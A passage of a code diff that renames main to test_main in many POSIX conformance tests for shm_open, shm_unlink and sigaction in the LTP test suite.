a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/32-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/32-1.c @@ -57,7 +57,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/34-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/34-1.c index efe31c97..4d286af6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/34-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/34-1.c @@ -57,7 +57,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/37-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/37-1.c index d9da1cab..42b0fc98 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/37-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/37-1.c @@ -38,7 +38,7 @@ struct test_data testdata[] = { { "non-existent directory", "/abc" } }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { unsigned int i; int fd, result = PTS_PASS; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/38-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/38-1.c index 63f1e39a..95325ca5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/38-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/38-1.c @@ -20,7 +20,7 @@ #define SHM_NAME "posixtest_38-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd = 0, count = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/39-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/39-1.c index 6065b31b..458f9108 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/39-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/39-1.c @@ -21,7 +21,7 @@ #include <stdlib.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, i; long name_max; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/39-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/39-2.c index 5a5a3448..10f52c7b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/39-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/39-2.c @@ -27,7 +27,7 @@ /* Ensure that each component length is short enough */ #define COMPONENT_SIZE _POSIX_NAME_MAX -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, i, path_max; char *shm_name; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/41-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/41-1.c index 4b180676..4bbf4995 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/41-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/41-1.c @@ -20,7 +20,7 @@ #define SHM_NAME "posixtest_41-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/5-1.c index 94081201..aa1d02a6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/5-1.c @@ -69,7 +69,7 @@ static int child_process() return PTS_PASS; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, child_pid; char *buf; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/8-1.c index cf0e206c..21b173ad 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_open/8-1.c @@ -32,7 +32,7 @@ #define SHM_NAME "posixtest_8-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd1, fd2; char path[25] = "/tmp/posixtestXXXXXX"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/1-1.c index bdb69f03..5f3b7902 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/1-1.c @@ -21,7 +21,7 @@ #define SHM_NAME "posixtest_1-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/10-1.c index f0d31794..eb8e8940 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/10-1.c @@ -20,7 +20,7 @@ #include <stdlib.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result, i; long name_max; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/10-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/10-2.c index ebe3745b..094c6a79 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/10-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/10-2.c @@ -27,7 +27,7 @@ /* Ensure that each component length is short enough */ #define COMPONENT_SIZE _POSIX_NAME_MAX -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result, i, path_max; char *shm_name; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/11-1.c index 6d0ff515..0e49947c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/11-1.c @@ -18,7 +18,7 @@ #define SHM_NAME "posixtest_11-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/2-1.c index 6f9d4202..66896298 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/2-1.c @@ -21,7 +21,7 @@ #define SHM_NAME "posixtest_2-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/3-1.c index e8c97cd9..83c1da60 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/3-1.c @@ -23,7 +23,7 @@ #define BUF_SIZE 8 #define SHM_NAME "posixtest_3-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; char *buf; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/5-1.c index 1ad5c7a3..94048fae 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/5-1.c @@ -21,7 +21,7 @@ #define SHM_NAME "posixtest_5-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/6-1.c index 9b137c13..24a55869 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/6-1.c @@ -18,7 +18,7 @@ #define SHM_NAME "posixtest_6-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c index d67d2fbe..270cf9e8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c @@ -33,7 +33,7 @@ #define SHM_NAME "posixtest_9-1" #define BUF_SIZE 8 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; struct passwd *pw; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c index 9ef4b0c6..d49dac0d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c @@ -32,7 +32,7 @@ #define SHM_NAME "posixtest_9-1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd, result; struct passwd *pw; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-1.c index 2e77bd12..8e66d2a5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-1.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-10.c index 31c6e38e..62af267b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-10.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-11.c index 299821a9..d48999e1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-11.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-12.c index 73d76339..9765c7df 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-12.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-13.c index dab4b280..215fdca2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-13.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-14.c index 88f7ff64..535ff8c8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-14.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-15.c index bc6c7c7e..bbb473ff 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-15.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-16.c index 42daccd2..4af8bdb0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-16.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-17.c index 14803fd0..344b9012 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-17.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-18.c index 79a95560..0087f783 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-18.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-19.c index 54264031..e60bd4e5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-19.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-2.c index 79a95560..0087f783 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-2.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-20.c index 0a38ce4f..6a0c3a25 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-20.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-21.c index cb7957d4..79a17d6f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-21.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-22.c index d252300c..fef92544 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-22.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-23.c index 06163a60..3e55dbcf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-23.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-24.c index 12efdbf5..33e6a7ab 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-24.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-25.c index 80ff5f05..f26ff0ba 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-25.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-26.c index d52da61e..edec3147 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-26.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-3.c index 43d02fea..00a25494 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-3.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-4.c index a5876a56..e74029a1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-4.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-5.c index 2640b075..3451c36c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-5.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-6.c index 3e45abc4..85c004c9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-6.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-7.c index f5d465c3..be2f080f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-7.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-8.c index 3ea22e0e..e563d292 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-8.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-9.c index 361a44f8..3e5da690 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/1-9.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/10-1.c index 722cbf2b..dbb4614e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/10-1.c @@ -55,7 +55,7 @@ static void wait_for_notification(int val) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/11-1.c index fcf5e783..137054f2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/11-1.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, siginfo_t *info, } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-1.c index 207e41f7..148cc367 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-1.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-10.c index 6f8d30a3..e5f6a1bd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-10.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-11.c index 8967b032..50691770 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-11.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-12.c index 